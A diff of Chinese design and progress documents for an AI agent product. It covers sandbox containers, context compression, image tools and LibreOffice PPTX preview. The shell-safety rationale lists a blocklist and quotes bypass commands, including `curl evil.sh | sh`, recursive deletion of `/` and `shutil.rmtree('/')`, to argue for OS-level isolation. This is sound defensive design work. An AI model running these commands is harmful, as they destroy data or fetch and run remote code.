| ~~E~~ | ~~CLI transport 双模式~~ | 撤(§7.9) | | ~~E~~ | ~~CLI transport 双模式~~ | 撤(§7.9) |
| ~~G~~ | ~~Web UI 简洁版~~ | 撤(§7.9) | | ~~G~~ | ~~Web UI 简洁版~~ | 撤(§7.9) |
@ -527,135 +503,55 @@ zcbot-sandbox image 已 ~1.5G(python deps + chromium + nodejs + mermaid-cli),后
**Tasks/Messages 在 PG 但 skill 产物在 FS**:tasks / messages 需要查询、过滤、全文搜、跨 task 统计 — DB 强项;skill 产物(`*.pptx` / `*.docx` / `sections/*.md`)终用户拿走,期望文件管理器看到、Office 打开、邮件发出 — 进 DB 要做"导出"多余操作。**FS 是产物天然存储,DB 是元数据 / 状态 / 索引天然存储**。同理 §7.5 bind mount = user root,容器里 ≡ 用户在 Web UI 看到的目录,无中间层翻译;per-user 容器天然匹配这个边界,per-task 容器会把同 user 共享工作区人为切碎。 **Tasks/Messages 在 PG 但 skill 产物在 FS**:tasks / messages 需要查询、过滤、全文搜、跨 task 统计 — DB 强项;skill 产物(`*.pptx` / `*.docx` / `sections/*.md`)终用户拿走,期望文件管理器看到、Office 打开、邮件发出 — 进 DB 要做"导出"多余操作。**FS 是产物天然存储,DB 是元数据 / 状态 / 索引天然存储**。同理 §7.5 bind mount = user root,容器里 ≡ 用户在 Web UI 看到的目录,无中间层翻译;per-user 容器天然匹配这个边界,per-task 容器会把同 user 共享工作区人为切碎。
**同 wd 多 task 并发不做 gate / clone / 物理隔离,只做软警告**(2026-05-21):候选方案过 γ(同 wd 单活 run gate)/ short_id 全产物隔离 / clone task 三种 — 最终都判定过度工程。dogfood 经验:同 wd 多 task 主要是"项目对话历史轨迹",并发频率近 0(用户开新 task 多数是想换思路重启,但不与旧 task 同时跑)**走 Claude Code 同款"信任 + 软警告 + 承认 limitation"**(它官方文档把"多 session 同 cwd plan 文件互覆"也定为 known limitation,推荐 git worktree 但不强制),不在主路径加复杂度。dev SPA 在 selectTask + SSE 收尾两个触发点拉 `GET /v1/tasks?working_dir=&run_status=running,cancelling`,有命中挂 banner;真高频再升级 γ。**为什么不选 γ**:同 wd 单活硬挡破坏"扁平共享中间产物"对应的对话切换流畅性,且 cancelling 状态可能阻塞用户 retry 时一个错觉的"我没在跑啊";**为什么不选 short_id 全产物**:破坏 §7.1 同 wd 共享中间产物语义(扁平 figures/sections/ 跨 task 复用)+ SKILL.md 改造成本;**为什么不选 clone task**:解决的是"真要并行"罕见场景,工程量(cp -r + 新 task 流程 + UI 入口)对零频场景过重。 **同 wd 多 task 并发不做 gate / clone / 物理隔离,只做软警告**(2026-05-21):dogfood 经验同 wd 多 task 主要是"项目对话历史轨迹",并发频率近 0。走 Claude Code 同款"信任 + 软警告 + 承认 limitation",dev SPA 在 selectTask + SSE 收尾拉同 wd 活跃邻居挂 banner,不挡发送,真高频再升级。**不选 γ(同 wd 单活 gate)**:硬挡破坏扁平共享中间产物的切换流畅性;**不选 short_id 全产物隔离**:破坏 §7.1 共享语义 + SKILL 改造成本;**不选 clone task**:对零频"真要并行"场景工程量过重。
**`shell` / `run_python` 不在工具层加强黑名单,SaaS 上线前 §7.5 sandbox 是 hard prereq**(2026-05-21,05-25 更新):`tools/shell.py::BLOCKED_PATTERNS` 只挡 `rm -rf /` / `mkfs` / `dd` / fork bomb 几个明显失误,任何稍有意识的攻击者都绕得过 —— 双空格 / `bash -c` / `python -c "import shutil; shutil.rmtree('/')"` / `curl evil.sh \| sh` / `cd / && rm -rf *` / 间接 `bash script.sh` 全过。`cwd=base_dir` 只是起点不是 chroot,绝对路径 / `cd` 跑出去毫无阻力。**为什么不在它上面继续加规则**:命令注入的攻击面是图灵完备的(`shell=True` + 任何脚本语言可执行),黑名单不可能枚举完,做得越复杂越给人虚假安全感,且会误伤合法用法(`ls *.py | wc -l` / 重定向 / 子 shell)。**正确防线在 OS 层而非工具层**:§7.5 per-user sandbox container + per-tool exec + drop ALL caps + read-only rootfs + bind mount = own user root + default-deny network + cgroup limits,这是 SaaS 开放外部用户的 hard prereq,Stage C 完成前一律仅 dogfood + 信任同事白名单手动加,DESIGN §7.7 / §7.8 已标 blocking。**为什么 per-user 而非 per-task**:用户文件模型就是 user-rooted,同 user 多 task 共享素材 / memory / working_dir 是产品价值;安全目标是跨 user 隔离,不是同 user task 互隔。**为什么不是所有操作都进容器**:auth / DB / files API / SSE / LLM / 受控 web 工具属于 control plane,必须留在宿主后端做权限和审计;只有不可信代码执行进 execution plane。**为什么不选"shell=False + 拒管道 / 重定向 / `$()`"折中**:挡不住 `python -c` / `bash script.sh` 间接路径(任何脚本语言都可执行任意系统调用),且砍掉大量合法 shell 用法让 agent 体验崩,给人虚假安全感。**本地 dogfood 现状接受风险**:用户自己的机器 + 自己输的 prompt,blast radius 限自身,§5 "less scaffolding more trust" 适用;外部用户场景 blast radius 是 SaaS 主机 + 其他 user 数据 + cloud IAM,信任模型完全不同,必须 §7.5。 **`shell` / `run_python` 不在工具层加强黑名单,§7.5 sandbox 是 SaaS hard prereq**(2026-05-21,05-25):`BLOCKED_PATTERNS` 只挡几个明显失误,稍有意识就绕过(双空格 / `bash -c` / `python -c` / `curl|sh` / `cd /` 全过),`cwd` 非 chroot。**不继续加规则**:命令注入图灵完备(`shell=True` + 任何脚本语言),黑名单枚举不完、越复杂越虚假安全感、误伤合法用法。**正确防线在 OS 层**:§7.5 per-user 容器 + drop ALL caps + read-only rootfs + bind mount own root + default-deny network + cgroup,Stage C 前仅 dogfood + 信任白名单。**per-user 非 per-task**:文件模型 user-rooted,安全目标是跨 user 隔离非同 user task 互隔。**非所有操作进容器**:auth/DB/files/SSE/LLM/受控 web 工具属 control plane 留宿主做权限审计,只有不可信代码进 execution plane。**本地 dogfood 接受风险**:自己机器 + 自己 prompt,blast radius 限自身(§5);外部场景 blast radius 是主机 + 他人数据 + cloud IAM,信任模型不同必须 §7.5。
**task 级「宪法」文件靠文件名隔离,不 cascade / 不入 DB / 不开物理子目录**(2026-05-20):同 working_dir 多 task **共享中间产物**(`source/` / `sections/` / `figures/`)是真实价值(素材跨多本子复用),但 spec 这种 task 1:1 宪法文件必须隔离(两本子 spec 直接撞)。文件名 `<YYYY-MM-DD>-<task_short_id>-<task_name>.<base>.md`:`task_short_id`(`task_id.hex[:8]`,永不变)主锚,glob `*-<short_id>-*.<base>.md` 字典序最大 = current 版本;`<YYYY-MM-DD>` 让"重定调"写新文件而非 edit 覆盖,旧版自然成历史快照;`<task_name>` 仅作"建时元数据 / 人类可读说明",改 name 不 cascade(由 short_id 兜底定位)。**反方案不选**:① cascade rename — in-flight run 期间文件丢 + 复杂度上升;② DB 化(spec 入 PG)— 架构最干净但工作量 5-10×,且失"用户直接编辑 markdown"能力,且 spec 字段还在演化没必要这么早 schema 化;③ 物理 task 子目录(`<working_dir>/<task>/`)— 破坏 §7.4 中间产物扁平共享设计。**升级到 DB 化的信号**:dev SPA 想做结构化编辑视图 / 想跨 task 查询 spec 字段(基金类型 / 经费 / 考核指标)/ markdown 版本文件堆积乱。约定由 `core/agent_builder.py::_build_system_prompt` 单点注入(`task_id` / `today` 实际值嵌入),所有 skill SKILL.md 引用同一份(目前 proposal / ppt 的 `spec`,未来 `outline` 等同款) **task 级「宪法」文件靠文件名隔离,不 cascade / 不入 DB / 不开物理子目录**(2026-05-20):同 wd 多 task 共享中间产物(source/sections/figures)是价值,但 spec 这种 1:1 宪法文件必须隔离。文件名 `<YYYY-MM-DD>-<task_short_id>-<task_name>.<base>.md`:`short_id`(`task_id.hex[:8]` 永不变)主锚,glob 字典序最大=current;日期让"重定调"写新文件成历史快照;`task_name` 仅可读说明,改 name 不 cascade(short_id 兜底)。**不选**:① cascade rename(in-flight 丢文件 + 复杂);② DB 化(最干净但工作量 5-10× 且失"直接编辑 markdown"、spec 字段还在演化);③ 物理 task 子目录(破坏扁平共享)。**升级 DB 化信号**:想做结构化编辑视图 / 跨 task 查 spec 字段 / 版本文件堆积乱。约定由 `_build_system_prompt` 单点注入,所有 skill SKILL.md 引用同一份
--- ---
## 8. 未来步骤(草案,status=design) ## 8. 未来步骤 / 已落地设计
### 8.1 图像理解 + Seedream i2i(2026-05-29) > 实施细节(步骤清单 / 验收项)进 PROGRESS + git;此处只留缺口、选型与取舍。
**缺口**:DeepSeek V4 主模型纯文本无视觉;`tools/seedream.py` 只 t2i;用户场景"seedream 出图 → 基于该图二次修改" / "上传外部参考图让 agent 据此干活"两条路径都未覆盖。 ### 8.1 图像理解 + Seedream i2i(2026-05-29,status=design 待启动)
**选 E + C 组合**:`tools/seedream.py` 加 `reference_images` 参数走 seedream 5.0 i2i + 新增 `tools/look_at_image.py` 走豆包 Seed 1.6 vision 单图理解 **缺口**:DeepSeek V4 主模型纯文本无视觉;`seedream` 只 t2i;"基于已生成图二次修改" / "上传外部参考图让 agent 据此干活"两条路径未覆盖
**为什么不选 A(主模型换多模态)**:DeepSeek V4 的 code / tool calling 质量是 zcbot 主路径核心,换豆包 Seed 1.6 当主 chat 模型降 code 能力 + 拉低 tool calling 稳定性,且要改 `core/loop.py` 引入 multimodal content list 路径 + `core/memory.py` vision-aware 压缩 — 工程面 5× 且破坏现有架构。 **选 E + C 组合**:`seedream` 加 `reference_images` 走 i2i(改已生成图,像素级)+ 新增 `look_at_image` 走豆包 Seed 1.6 vision 单图理解(读外部图,DeepSeek 自决何时调)。改动面=2 tool + 1 prompt 段 + 1 yaml 段,不动 loop / llm / capabilities / DB / 前端。
- **不选 A(主模型换多模态)**:V4 的 code / tool calling 是主路径核心,换豆包当主 chat 降能力 + 要改 loop/memory 引 multimodal,工程 5× 且破坏架构。
- **不选 B(后台 vision 路由)**:每条消息隐式 vision 描述 = 多烧 token + 1 跳延迟 + 失去 agentic 控制权 + debug 难。
**为什么不选 B(后台 vision 路由)**:用户每条消息隐式调一次 vision 描述 → 多烧 token + 多 1 跳延迟;DeepSeek 失去"自决何时看图"的 agentic 控制权;hidden prompt 影响描述质量,debug 难。 **关键实测**:Seedream 5.0 `/images/generations` 接受 `image_urls` base64 data URL,200 返新图 → **内网无需对象存储中介**(排除最大工程不确定性)。约束:输出 ≥~1920²、单张参考 ≤10MB、最多 14 张
**为什么 E + C 协作**:E 覆盖"改已生成图"(seedream 端到端无损像素级);C 覆盖"理解外部图"(DeepSeek 自决何时调,按需烧 token)。改动面集中在 **2 个 tool + 1 个 prompt 段 + 1 个 yaml 段**,**不动 loop / llm / capabilities / DB schema / 前端**。 **风险 / 边界**:v1 只支持单张参考(multi-ref 角色定义靠 prompt,留 v2);base64 ARK 未承诺长期稳定(收紧则降级走 TOS 上传换 URL)。
**升级到 A 的信号**:用户要"贴图同时说话模型直接读图回话",或多轮带图成高频 —— 当前假设"图是工具调用对象"而非"对话内容"。
**关键实测(2026-05-29 `scripts/probe_seedream_i2i.py`)**:Seedream 5.0 (`doubao-seedream-5-0-260128`) `/images/generations` 接受 `image_urls=["data:image/png;base64,..."]`,200 返回新图 TOS URL + `usage.generated_images=1`。约束:输出 `size` ≥3686400 像素(~1920²),单张参考 ≤10MB,最多 14 张。**base64 通路成立 → 内网部署无需对象存储中介,排除最大工程不确定性**。 ### 8.2 Token 优化与上下文治理(2026-06-04,✅ 已落地,详 PROGRESS)
**实施清单(待启动)**: **根因**:`Session.load()` 把全量历史装回每轮 LLM 调用,旧 tool 结果 / `load_skill` 正文 / 检索结果 / 长 stdout 反复携带;LiteLLM cost map 未覆盖 V4 致 `cost_cny=0` 不可用。
1. `config/media/doubao.yaml``vision: seed_1_6:` 段(model_id + endpoint + 视觉 token 单价);顺手核对 seedream image 单价 0.22 vs 实测 ~0.25 CNY
2. `tools/seedream.py``reference_images: array[str]` + `seed: int` 参数;路径校验在 workdir 内 + ≤10MB + 扩展名白名单(png/jpg/webp);meta.json 多记 reference_images
3. `tools/look_at_image.py` 新建:走 `ark_client` POST `/chat/completions` OpenAI 多模态格式(`{"type":"image_url","image_url":{"url":"data:..."}}`);`record_chat_usage(model_profile="doubao.seed_1_6_vision")`,不入 `images_per_day` 配额
4. `prompts/system/general_v1.md` 加图像协作引导段(改图 → seedream i2i;问图/读图 → look_at_image)
5. 端到端 smoke:`scripts/smoke_seedream_i2i.py` + `scripts/smoke_look_at_image.py`
6. (可选)前端 `dev.html` seedream 产物 chip 加"基于此图改"按钮(把路径塞下一条 textarea hint)
**已知风险**: **质量边界(设计约束,后续改动都守)**:
- 多张参考图(2-14)的角色定义(主体 vs 风格 vs 局部)靠 prompt 经验,**v1 只支持单张**;multi-ref 留 v2 - 不改模型输入的优化(prompt caching、固定前缀、计费修复、cache hit/miss 记录)不影响输出质量。
- 豆包 Seed 1.6 vision tokens 单价(in / out 分档)待 ARK 控制台查 - 改模型可见上下文的优化(裁剪 / 摘要 / 按需读取)必须**保留可追溯原文**:长结果写文件留路径,summary 只替代陈旧噪声,**用户确认过的需求 / 规格 / 大纲 / 关键结论不删**。
- DeepSeek 主动调 `look_at_image` 的可靠性需前几轮真用例里观察,不靠就在 prompt 加一句更明确引导;不过度工程 - **禁止把"只保留最近 N 条"当主策略** —— 省 token 但最易丢已确认约束。
- ARK 文档强调 image_urls 官方推荐 URL,base64 实测可行但**未承诺长期稳定**;若未来 ARK 收紧,降级方案 = 火山 TOS 上传 5 分钟 → URL(引入 TOS SDK)
**升级到 A(主模型多模态)的信号**:用户明确要求"我说话同时贴图,模型直接读图回话",或多模态对话历史(多轮带图)成为高频需求 — 当前 E + C 假设是"图像是工具调用对象"而非"对话上下文";真高频需要"图也是消息内容"时再升 A **选型**:Context Editing + Memory/File State + Cache Observability 混合。稳定 system/tools 前缀利于 provider cache;旧 tool result 移除或压缩;关键发现写 task summary / FS,需要时 `read` 重新拉。长上下文保留作少数全局推理的临时能力,非默认每轮成本
### 8.2 Token 使用优化与上下文治理(2026-06-04) **落地形态**:`core/context.py` 发送前压缩旧 tool / `load_skill` / assistant tool_call arguments(保 `role/tool_call_id/name` 协议完整),不改持久化历史;**上下文压力门槛**(2026-06-10):总 chars 未逼近上限则完全跳过压缩、原样发,护 DeepSeek 前缀缓存(短任务字节逐轮一致、命中 92-94%)。task summary(旧消息压成一条、区分硬约束/计划/文件路径/关键事实)为第二步,未做。
**现状诊断**:最近 7 天 chat 输入 token 约 1.225 亿、输出约 87 万,输入/输出约 140:1;最大单次 chat 输入超过 53 万 token。根因不是回答过长,而是 `Session.load()` 把全量历史消息装回 `self.session.messages`,每轮 LLM 调用继续携带旧 assistant/tool 结果、`load_skill` 完整正文、文献检索结果和长 stdout/stderr。当前 `cost_cny=0` 还说明 LiteLLM cost map 未覆盖 DeepSeek V4,费用统计不可用于判断真实消耗。 ### 8.3 PPTX 前端在线预览(2026-06-09,✅ 已落地 Stage 1)
**质量边界**: **动机**:文件区点 `.pptx` 原只能下载;要在浏览器直接翻看,且覆盖任意 pptx(含上传)。
- 不改变模型输入的优化(prompt/context caching、固定 prompt 前缀、费用统计修复、cache hit/miss 记录)不影响输出质量。 **关键洞察(定方案极简)**:前端已有 `<iframe src=blob:application/pdf>` PDF 原生渲染路径,所以**后端把 pptx 转 PDF 即可,前端几乎不动**(不需 pdf.js / PNG 栅格化)。
- 会改变模型可见上下文的优化(工具结果裁剪、旧历史摘要、RAG/按需读取)必须保留"可追溯原文":长结果写文件或保留路径,summary 只替代陈旧噪声,用户确认过的需求 / 规格 / 大纲 / 关键结论不删。
- 禁止简单"只保留最近 N 条"作为主策略;它省 token 但最容易丢已确认约束。
**选型**:采用 Context Editing + Memory/File State + Cache Observability 的混合方案。对齐 2025-2026 主流实践:稳定 system/tools 前缀利于 provider prompt cache;旧 tool result 从上下文中移除或压缩;关键发现写入 task summary / 文件系统,需要时由 `read` / domain tool 重新拉取原文。长上下文仍保留作少数全局推理场景的临时能力,不作为默认每轮成本。 **选型 LibreOffice→PDF**:像素级保真 + 通用(任意 pptx)+ 前端复用现成 PDF iframe;代价=服务器装 LibreOffice + CJK 字体。劣选:轻量 HTML(复杂 pptx 失真,不满足"任意");LibreOffice→PDF→PNG(多栅格化层、失矢量缩放、无收益)。
**与 `scripts/pptx_preview.py` 分工**:后者是 agent 生成阶段自检(pptx→Chrome→PNG,近似但零服务器依赖);本方案是面向用户的高保真预览。
**Stage 1:可观测性与计费修复(低风险,不改输出)**: **落地形态**:`web/pptx_render.py`(soffice 转 PDF,独立临时 `UserInstallation` 绕单 profile 锁 + 缓存 `.preview/<hash>.pdf` + 超时 kill)+ `GET /v1/files/preview_pdf`(复用 `_safe_path` 防穿越 + per-path `asyncio.Lock` + `run_in_executor`)。**转换在 web host 不进沙盒**(沙盒不该有 LibreOffice;预览与 deck 生成解耦)。
1. `core/loop.py::_extract_usage` 扩展返回 cache hit/miss / reasoning tokens 等 provider usage 细节;DeepSeek 的 `prompt_cache_hit_tokens` / `prompt_cache_miss_tokens` 归入 `usage_events.units` **安全边界**:对上传任意 pptx 跑 LibreOffice(历史有宏/EPS CVE)→ `--convert-to` 默认不执行宏 + 宏安全 high + 禁网 + 仅处理鉴权用户自己 user_root 内文件。
2. `core/storage/usage.py::record_chat_usage` 在 LiteLLM `completion_cost` 返回 0 时,按本地模型价格配置兜底计算 `cost_cny`;历史仍以 `units` snapshot 可复算。 **保真边界**:deck 用微软雅黑,Linux 上替换成 Noto Sans CJK 度量略差(可接受)。**Stage 2(未做)**:常驻 soffice listener 消冷启、deck 生成后 eager 预转、缩略图导航。
3. SSE `llm_end``cache_hit_tokens` / `cache_miss_tokens`;dev SPA 在底部 hint 展示"本次输入 / 输出 / 缓存命中 / 未命中"。
**Stage 2:工具结果降噪(低风险,小幅改变上下文)**:
1. `run_python` 新增 `script_path` 模式。非短小一次性代码先用 `write``.py` 文件,再 `run_python(script_path="...")`;这样 tool_call arguments 只保留路径,源码留在文件系统按需读取。保留 `code` 兼容短 snippet。
2. `run_python` / `shell` 返回体默认保留 stdout/stderr 的头尾摘要,避免长日志反复进入后续 prompt;暂不写 `.tool_logs`,避免 host backend 污染 repo 根。
3. `document_search` 暂不调整默认召回量(保留 6×1200 chars),优先通过上下文预算 / 历史压缩控制长期成本;需要全文时先 `document_download` 或再次指定更大 `content_chars_per_doc`
4. `load_skill` 的完整正文只在当前轮用于理解;入库 / 后续上下文可压缩成"已加载 skill: name, path, digest",减少每轮重复携带 5-10KB skill 文档。
**Stage 3:上下文预算与自动压缩(中风险,需测试)**:
1. 新增 `core/context.py` 负责构造 LLM messages,输入为 `Session.messages` + budget,输出为裁剪后的 messages。
2. 第一步只做**旧 tool / tool_call 参数压缩**:保留 system、最近约 12 条原文,对较旧且过长的 `role=tool` 内容做头尾摘要;旧 `load_skill` 结果压成"已加载 skill: name/dir"标记;旧 assistant `tool_calls[].function.arguments` 超过约 800 chars 时压成合法 JSON 标记(保留 path/script_path/name/original_chars),避免 `write(content=...)` 源码参数反复进 prompt。`role` / `tool_call_id` / `name` 不变,保证 OpenAI/LiteLLM tool_call 协议完整。这个阶段不调用额外 LLM,不生成全局摘要。
- **上下文压力门槛(2026-06-10)**:压缩只在历史体量逼近上限时才做 —— `prepare_messages_with_stats(compact_threshold_chars=...)`,总 chars 未超阈值则**完全跳过压缩、原样发**。loop 按当前模型 `reliable_context × 0.5 × ~2.5 char/token` 折算阈值。**取舍**:① 短/中任务没有上下文压力却被压缩 = 白丢旧工具细节,门槛后零损失;② 压缩函数确定性但边界 `len-keep_recent` 逐轮滑动,每轮重压 1-2 条 → 破 DeepSeek 前缀缓存;门槛让短任务**前缀逐轮字节一致、缓存全程命中**。实测高轮 task 缓存命中已 92-94%(滑动边界损失有限,旧消息压缩态稳定),故只补门槛、暂不改滑动边界为阶梯式(收益仅再抬几个点,不值复杂度)。`compaction_skipped` 进 `llm_start` 事件可观测。
3. 第二步再做 task summary:保留 system、最近 6-10 轮原文、未闭合 tool_call 协议相关消息、最新用户消息;旧消息压成一条 summary。
4. summary 必须区分:用户确认的硬约束、当前计划、已生成文件路径、关键事实、待办/风险、可丢弃日志。旧 tool 原文不直接塞回,只保留路径和摘要。
5. 阈值建议先按字符粗估触发(如 200k chars),后续接 tokenizer 精确预算;触发后目标压到 reliable_context 的 25%-40%,避免刚压完又涨满。
**验收指标**:
- 高用量 task 的单次 `tokens_in` 从 50 万级降到 5-10 万级以内,常规任务低于 3 万。
- `usage_events.units` 能区分 input/output/cache hit/cache miss,`cost_cny` 不再全 0。
- `llm_start` SSE 事件能看到 `context_original_chars` / `context_sent_chars` / `context_saved_chars` / `context_compacted_tool_messages` / `context_compacted_skill_messages`,dev SPA 底部 hint 同步展示,用于判断压缩是否真实生效。
- task 列表里的 `N 条 / N tok` 是 DB 持久化累计消息数和历史调用总 token,用于账单 / 审计;它不会因"发送前上下文压缩"下降。真实本轮发送体量看 `llm_start context_*``llm_end prompt_tokens/cache_*`
- 文献采集 / 论文写作 / PPT 三类长任务仍能复查原文路径,不会因摘要丢失用户确认过的规格。
- 增加 focused tests 覆盖 usage detail 提取、成本兜底、工具结果裁剪、上下文压缩协议完整性。
### 8.3 PPTX 前端在线预览(LibreOffice → PDF,2026-06-09)
**动机**:ppt skill 现在能产出观感不错的 `.pptx`,但前端对话/文件区里 `.pptx` 只能**下载**(`preview.js` 的 `_categorize` 把它归为 `fallback` → "暂不支持在线预览,请下载查看")。用户要在浏览器里直接翻看 deck,不必下载 + 开 PowerPoint。需求扩展到**任意 pptx**(含用户上传的),不只 skill 自产。
**关键洞察(决定了方案极简)**:前端 `preview.js` 已有完整预览弹框,且 **PDF 已用 `<iframe src=blob:application/pdf>` 浏览器原生渲染**(`_showPdf`)。所以只要把 pptx **在后端转成 PDF**,前端复用现成的 PDF iframe 路径即可 —— **不需要 pdf.js、不需要 PNG 栅格化、前端改动近乎为零**
**与 `pptx_preview.py` 的分工(两个工具,两个用途,别混)**:
- `scripts/pptx_preview.py`(pptx→HTML→Chrome→PNG):**agent / skill 自检**用,在 deck 生成阶段让模型用 `read` 看 PNG 验观感;近似渲染(只覆盖 skill 用的形状子集,chevron/椭圆会失真),但零服务器依赖、能在生成现场跑。
- 本方案(pptx→LibreOffice→PDF):**前端面向用户**的高保真在线预览;像素级真实、支持任意 pptx,代价是服务器 LibreOffice 依赖。
**选型(为何 LibreOffice→PDF)**:
| 方案 | 保真 | 前端工作 | 服务器依赖 | 取舍 |
|---|---|---|---|---|
| 轻量 HTML(复用 pptx_preview 的 HTML,前端 iframe 渲) | 近似(复杂 pptx 失真) | 中(新渲染组件) | 无 | 够预览自产 deck,但用户上传的复杂 pptx 会失真,不满足"任意 pptx" |
| **LibreOffice→PDF + 复用 _showPdf** ✅ | 像素级 | **近零**(复用现有 PDF iframe) | LibreOffice + CJK 字体 | 选它:保真 + 通用 + 前端几乎不动;成本是服务器装 LibreOffice |
| LibreOffice→PDF→PNG(pymupdf/poppler) | 像素级 | 小(<img>) | LibreOffice + 栅格库 | 多一层栅格化且失去矢量缩放,无收益 —— 浏览器能原生渲 PDF |
**架构**:转换跑在 **backend host(`web/app.py` 进程)**,**不进执行沙盒**(沙盒无 LibreOffice 也不该有;本预览面向 user_root 下任意 pptx,与 deck 生成解耦)。按需触发(首访转换 + 缓存),不在 deck 生成时 eager 转(对上传文件也通用)。
**后端改动**:
1. 新模块 `web/pptx_render.py`:`pptx_to_pdf(pptx_path) -> pdf_path`(同步、可缓存)。
- 调 `soffice --headless --convert-to pdf --outdir <tmp> <pptx>`;**每次用独立 `-env:UserInstallation=file://<临时 profile>`** 绕开 LibreOffice 单 profile 锁(否则并发转换互斥);`subprocess` 设超时(~60s)+ 超时 kill。
- soffice 路径发现复用 `render_bg.py` 的思路(查常见安装路径 + PATH);缺失则抛清晰错误(端点回 501 + "服务器未装 LibreOffice")。
2. 新端点 `GET /v1/files/preview_pdf?path=<rel.pptx>`:复用 files API 的鉴权 + `_safe_path`(路径必须落在 user_root 内,防穿越);转换后 `FileResponse(application/pdf)`。阻塞转换走 `run_in_executor` 不堵事件循环。
3. **缓存**:PDF 落同目录隐藏 `.preview/<stem>.<hash>.pdf`,`hash` 由源 pptx 的 `mtime+size`(或内容哈希)派生;命中且新鲜直接返回。`.preview/` 是 dotdir,`_enumerate_files` 已跳过 dotfile,不会污染文件列表。失效靠 hash 换名 + 现有磁盘配额扫描兜底清理。
4. **并发**:按解析后的 pptx 绝对路径加 `asyncio.Lock`,避免同一文件并发重复转换。
**前端改动**(`preview.js`,极小):
1. `_EXT_GROUPS``ppt: new Set(["pptx","ppt"])`
2. `openFilePreview` / `openMiniFilePreview`:`cat === "ppt"` 时,不 `download` 原文件,改 `fetch("/v1/files/preview_pdf?path=...")` 拿 PDF blob → 复用 `_showPdf(blob)`;加"由 PPT 转换 · 首次稍候"提示 + loading 态;转换失败回 `_showFallback`(已带"下载原文件"按钮,`fp-download` 仍下载 .pptx)。
**依赖与部署**:
- **LibreOffice**(`soffice`):backend host + 部署镜像装(Dockerfile `apt-get install -y --no-install-recommends libreoffice-impress`)。dev(Windows)用 `winget install TheDocumentFoundation.LibreOffice` 装来测。
- **CJK 字体**:Linux 服务器装 `fonts-noto-cjk`。**保真边界**:我们的 deck 用「微软雅黑」,Linux 上 LibreOffice 会替换成 Noto Sans CJK,字形度量与 Windows PowerPoint 略有差异(可接受);要完全一致需在服务器装 YaHei(版权另议)。
- **无新 pip 依赖**(不引 pymupdf/pdf.js)。
**边界 / 风险**:
- **冷启动延迟**:soffice 首次转换 ~2-4s(冷启 + 转换),缓存后即时。可选优化:常驻 soffice listener(`--headless --invisible` socket 模式)消冷启 —— 留作 Stage 2。
- **安全**:本预览会对**用户上传的任意 pptx**跑 LibreOffice(历史有 EPS/宏类 CVE)。缓解:`--convert-to` 模式默认不执行文档宏;额外 pin 宏安全到 high、禁网络、限资源;只处理鉴权用户自己 user_root 内的文件。
- **超时 / 损坏文件**:转换超时或失败 → 端点 500 + 前端 fallback 到下载,不挂起。
- **大 deck**:页数多则转换久,靠超时 + 缓存兜。
**分阶段落地**:
- **Stage 1(本期)**:`web/pptx_render.py`(soffice 转换 + 缓存 + 锁)+ `/v1/files/preview_pdf` 端点 + `preview.js` 路由 pptx→PDF;部署侧装 LibreOffice + Noto CJK。出可用功能。
- **Stage 2(可选)**:常驻 soffice listener 消冷启;deck 生成后 eager 预转换;缩略图条 / 翻页导航增强。
**验收指标**:
- 对话/文件区点 `.pptx` → 弹框内直接翻页预览(PDF iframe),版面/字体/图与 PowerPoint 基本一致;首次 ~数秒、再次即时(命中缓存)。
- 路径穿越被 `_safe_path` 挡;非 pptx / 损坏文件优雅回退到下载。
- 服务器未装 LibreOffice 时端点回明确错误、前端提示下载,不白转/不挂起。
- 新增 focused tests:转换成功落 PDF + 缓存命中、路径越界拒绝、soffice 缺失降级、并发同文件只转一次。
--- ---

View File

@ -2,7 +2,7 @@
> 配合 `DESIGN.md`。本文件只记 phase 状态、决策偏差、文件量、下一步。每条 1-2 句:做了啥 + 关键判断;细节查 `git log` / `git diff` / `DESIGN §7.9` > 配合 `DESIGN.md`。本文件只记 phase 状态、决策偏差、文件量、下一步。每条 1-2 句:做了啥 + 关键判断;细节查 `git log` / `git diff` / `DESIGN §7.9`
最后更新:2026-06-09(PPTX 前端在线预览:LibreOffice→PDF + 复用 PDF iframe,DESIGN §8.3 Stage 1) 最后更新:2026-06-11(用户私有 skill:多来源 registry + save_skill/fork_skill + skill-creator)
--- ---
@ -13,212 +13,188 @@
| 1-3 | 骨架 + Skill + run_python | ✅ | 多 skill(coding/proposal/ppt/research/documents/imagegen/videogen/review/patent);CoreCoder 唯一匹配 edit;敏感 env 过滤 | | 1-3 | 骨架 + Skill + run_python | ✅ | 多 skill(coding/proposal/ppt/research/documents/imagegen/videogen/review/patent);CoreCoder 唯一匹配 edit;敏感 env 过滤 |
| 4 | 演化性能力 | 🟡 | Model Profile + Probing ✅;版本化 prompt 未做 | | 4 | 演化性能力 | 🟡 | Model Profile + Probing ✅;版本化 prompt 未做 |
| 5 | Eval Suite | ⏸ 不做 | dogfooding 替代,probe 覆盖健康检查 | | 5 | Eval Suite | ⏸ 不做 | dogfooding 替代,probe 覆盖健康检查 |
| 6 | 长任务工程化 | 🟡 | task + 恢复 ✅;双层记忆 ✅;context 压缩未做 | | 6 | 长任务工程化 | 🟡 | task + 恢复 ✅;双层记忆 ✅;context 压缩 ✅(加压力门槛) |
| 7 | 打磨 | ❌ | Docker 沙盒 / 更多 skill | | 7 | 打磨 | ❌ | Docker 沙盒 / 更多 skill |
| §7 SaaS | DESIGN §7 路线 | 🟡 | A 事件流化 ✅;B 完工 ✅;D `/v1` JSON API ✅;D' 过渡 auth + dev SPA ✅;单活 run 锁 + cancel ✅;0004 schema 瘦身 ✅;入口归位 ✅;真 OIDC 待;**C Step 1-3 + 3d ✅(Executor + Docker 池 + DockerExecutor + fs 工具进容器)+ Step 5 部署前置对账 ✅ + 容器资源 yaml + 应用层磁盘配额(scan+gate)✅ + dogfood 网络放开 + 容器内 pip/npm 源持久化 ✅**;**Step 4 完整 egress proxy + Step 3b PGID kill 协议延后到外部用户开放前**;**外部用户开放仍需 egress proxy + xfs project quota OS 层硬化(§7.5 落地清单 #2 #4)**。 | | §7 SaaS | DESIGN §7 路线 | 🟡 | A 事件流化 ✅;B 完工 ✅;D `/v1` JSON API ✅;D' 过渡 auth + dev SPA ✅;单活 run 锁 + cancel ✅;0004 schema 瘦身 ✅;入口归位 ✅;真 OIDC 待;**C Step 1-3 + 3d ✅(Executor + Docker 池 + DockerExecutor + fs 工具进容器)+ Step 5 部署前置对账 ✅ + 容器资源 yaml + 应用层磁盘配额 ✅ + dogfood 网络放开 + 容器内 pip/npm 源持久化 ✅**;**Step 4 完整 egress proxy + Step 3b PGID kill 协议延后到外部用户开放前**(还需 egress proxy + xfs project quota OS 层硬化,§7.5 